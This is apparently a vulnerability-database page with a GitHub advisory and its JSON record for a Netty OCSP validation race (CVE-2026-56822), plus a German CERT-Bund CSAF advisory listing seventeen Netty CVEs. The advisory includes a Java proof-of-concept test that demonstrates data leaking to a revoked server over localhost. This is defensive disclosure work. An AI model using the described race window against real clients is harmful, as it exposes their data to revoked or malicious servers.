Search

Find a vulnerability

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

    Related vulnerabilities

    GHSA-WC96-39FC-566F

    Vulnerability from github – Published: 2026-07-22 21:47 – Updated: 2026-07-22 21:47
    VLAI
    Summary
    Netty: TOCTOU in OcspServerCertificateValidator
    Details

    Summary

    Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.

    Details

    In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.

    Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.

    PoC

        @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            OCSPRespBuilder respBuilder = new OCSPRespBuilder();
            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
            byte[] responseEncoded = response.getEncoded();

            IoTransport mockTransport = IoTransport.create(group.next(), () -> {
                NioSocketChannel channel = new NioSocketChannel();
                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
                    @Override
                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
                        promise.setSuccess();

                        ctx.executor().schedule(() -> {
                            ctx.pipeline().fireChannelActive();

                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());

                            ctx.pipeline().fireChannelRead(httpResponse);
                        }, 500, TimeUnit.MILLISECONDS);
                    }
                });
                return channel;
            }, NioDatagramChannel::new);

            X509Bundle caRoot = new CertificateBuilder()
                    .algorithm(CertificateBuilder.Algorithm.rsa2048)
                    .subject("CN=TrustedRootCA")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
            X509Bundle targetCert = new CertificateBuilder()
                    .algorithm(CertificateBuilder.Algorithm.rsa2048)
                    .subject("CN=TargetServer")
                    .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
                    .buildIssuedBy(caRoot);

            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();

            CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
            CountDownLatch dataReceivedLatch = new CountDownLatch(1);

            new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
                            ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
                                @Override
                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));
                                    dataReceivedLatch.countDown();
                                }
                            });
                        }
                    })
                    .bind(8080)
                    .sync()
                    .channel();

            SslContext clientSslCtx = SslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .build();

            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
            Channel clientChannel = new Bootstrap()
                    .group(group)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));
                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));
                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
                                @Override
                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
                                    if (evt instanceof SslHandshakeCompletionEvent) {
                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
                                        if (sslEvent.isSuccess()) {
                                            ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
                                        }
                                    }
                                    ctx.fireUserEventTriggered(evt);
                                }
                            });
                        }
                    })
                    .connect("127.0.0.1", 8080)
                    .sync()
                    .channel();

            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));

            Thread.sleep(200);

            assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");
        } finally {
            group.shutdownGracefully();
        }
    }

    Impact

    TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.

    Severity
    7.4 (High)
    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
    Show details on source website
    To clipboard 

    {
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-ssl-ocsp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-ssl-ocsp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:47:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nNetty\u0027s OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client\u0027s downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.\n\n### Details\nIn `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`.\n\nBecause the handshake completion event is forwarded immediately, downstream handlers in the client\u0027s pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server\u0027s certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            OCSPRespBuilder respBuilder = new OCSPRespBuilder();\n            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);\n            byte[] responseEncoded = response.getEncoded();\n\n            IoTransport mockTransport = IoTransport.create(group.next(), () -\u003e {\n                NioSocketChannel channel = new NioSocketChannel();\n                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n                    @Override\n                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {\n                        promise.setSuccess();\n\n                        ctx.executor().schedule(() -\u003e {\n                            ctx.pipeline().fireChannelActive();\n\n                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());\n\n                            ctx.pipeline().fireChannelRead(httpResponse);\n                        }, 500, TimeUnit.MILLISECONDS);\n                    }\n                });\n                return channel;\n            }, NioDatagramChannel::new);\n\n            X509Bundle caRoot = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TrustedRootCA\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n            X509Bundle targetCert = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TargetServer\")\n                    .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n                    .buildIssuedBy(caRoot);\n\n            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();\n\n            CopyOnWriteArrayList\u003cString\u003e receivedData = new CopyOnWriteArrayList\u003c\u003e();\n            CountDownLatch dataReceivedLatch = new CountDownLatch(1);\n\n            new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));\n                            ch.pipeline().addLast(new SimpleChannelInboundHandler\u003cByteBuf\u003e() {\n                                @Override\n                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {\n                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));\n                                    dataReceivedLatch.countDown();\n                                }\n                            });\n                        }\n                    })\n                    .bind(8080)\n                    .sync()\n                    .channel();\n\n            SslContext clientSslCtx = SslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .build();\n\n            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);\n            Channel clientChannel = new Bootstrap()\n                    .group(group)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), \"127.0.0.1\", 8080));\n                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));\n                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n                                @Override\n                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {\n                                    if (evt instanceof SslHandshakeCompletionEvent) {\n                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;\n                                        if (sslEvent.isSuccess()) {\n                                            ctx.writeAndFlush(Unpooled.copiedBuffer(\"SECRET_DATA\", CharsetUtil.UTF_8));\n                                        }\n                                    }\n                                    ctx.fireUserEventTriggered(evt);\n                                }\n                            });\n                        }\n                    })\n                    .connect(\"127.0.0.1\", 8080)\n                    .sync()\n                    .channel();\n\n            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));\n\n            Thread.sleep(200);\n\n            assertFalse(receivedData.contains(\"SECRET_DATA\"), \"Server should not receive the data.\");\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nTOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.",
  "id": "GHSA-wc96-39fc-566f",
  "modified": "2026-07-22T21:47:41Z",
  "published": "2026-07-22T21:47:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: TOCTOU in OcspServerCertificateValidator"
}

    WID-SEC-W-2026-2356

    Vulnerability from csaf_certbund - Published: 2026-07-14 22:00 - Updated: 2026-07-21 22:00
    Summary
    Netty: Mehrere Schwachstellen
    Severity
    Hoch
    Notes
    Das BSI ist als Anbieter für die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch dafür verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgfältig im Einzelfall zu prüfen.
    Produktbeschreibung: Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework für die schnelle Entwicklung von wartbaren, hochleistungsfähigen Protokollservern und -clients.
    Angriff: Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.
    Betroffene Betriebssysteme: - Linux - UNIX
    CVE-2026-44891
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-55831
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-55833
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-55851
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56745
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56816
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56817
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56819
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56820
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56821
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-56822
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-59898
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-59899
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-59900
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-59901
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-59920
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    CVE-2026-59921
    Affected products
    Product Identifier Version Remediation
    Open Source Netty <4.1.136
    Open Source / Netty
    		 <4.1.136
    Open Source Netty <4.2.16
    Open Source / Netty
    		 <4.2.16
    References
    To clipboard 

    {
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitspr\u00fcfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatspr\u00fcfungen zu unterlaufen sowie einen Denial of Service zu verursachen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- UNIX",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-2356 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2356.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-2356 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2356"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4qhr-g3c6-fcfx vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-272m-gcwp-mpwg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-3g8r-4pfx-jmfh vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-3g8r-4pfx-jmfh"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-4mp9-239f-g9hg vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q4f6-jm68-57ww vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-c69g-56f8-xwqj vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-c69g-56f8-xwqj"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-558v-64gr-wgg4 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-6jqx-86gh-f27w vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-93wv-jw9v-4972 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-g7hg-vrcf-mvmr vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-g7hg-vrcf-mvmr"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-gcjf-9mgh-3p7g vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-gcjf-9mgh-3p7g"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-hpcc-26xq-25fv vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-jppx-w49h-x2qq vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-mvh2-crg5-v77c vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-q6cq-mhr2-jmr5 vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-q6cq-mhr2-jmr5"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-vhch-2wf3-m8rp vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-wc96-39fc-566f vom 2026-07-14",
        "url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
      }
    ],
    "source_lang": "en-US",
    "title": "Netty: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-07-21T22:00:00.000+00:00",
      "generator": {
        "date": "2026-07-22T09:20:42.612+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-2356",
      "initial_release_date": "2026-07-14T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-07-14T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-07-19T22:00:00.000+00:00",
          "number": "2",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-45316"
        },
        {
          "date": "2026-07-20T22:00:00.000+00:00",
          "number": "3",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46133, EUVD-2026-46132"
        },
        {
          "date": "2026-07-21T22:00:00.000+00:00",
          "number": "4",
          "summary": "Referenz(en) aufgenommen: EUVD-2026-46452, EUVD-2026-46438, EUVD-2026-47564, EUVD-2026-47579, EUVD-2026-47582, EUVD-2026-47581"
        }
      ],
      "status": "final",
      "version": "4"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c4.2.16",
                "product": {
                  "name": "Open Source Netty \u003c4.2.16",
                  "product_id": "T056598"
                }
              },
              {
                "category": "product_version",
                "name": "4.2.16",
                "product": {
                  "name": "Open Source Netty 4.2.16",
                  "product_id": "T056598-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.2.16"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "\u003c4.1.136",
                "product": {
                  "name": "Open Source Netty \u003c4.1.136",
                  "product_id": "T056599"
                }
              },
              {
                "category": "product_version",
                "name": "4.1.136",
                "product": {
                  "name": "Open Source Netty 4.1.136",
                  "product_id": "T056599-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:netty:netty:4.1.136"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Netty"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-44891",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-44891"
    },
    {
      "cve": "CVE-2026-55831",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55831"
    },
    {
      "cve": "CVE-2026-55833",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55833"
    },
    {
      "cve": "CVE-2026-55851",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-55851"
    },
    {
      "cve": "CVE-2026-56745",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56745"
    },
    {
      "cve": "CVE-2026-56816",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56816"
    },
    {
      "cve": "CVE-2026-56817",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56817"
    },
    {
      "cve": "CVE-2026-56819",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56819"
    },
    {
      "cve": "CVE-2026-56820",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56820"
    },
    {
      "cve": "CVE-2026-56821",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56821"
    },
    {
      "cve": "CVE-2026-56822",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-56822"
    },
    {
      "cve": "CVE-2026-59898",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59898"
    },
    {
      "cve": "CVE-2026-59899",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59899"
    },
    {
      "cve": "CVE-2026-59900",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59900"
    },
    {
      "cve": "CVE-2026-59901",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59901"
    },
    {
      "cve": "CVE-2026-59920",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59920"
    },
    {
      "cve": "CVE-2026-59921",
      "product_status": {
        "known_affected": [
          "T056599",
          "T056598"
        ]
      },
      "release_date": "2026-07-14T22:00:00.000+00:00",
      "title": "CVE-2026-59921"
    }
  ]
}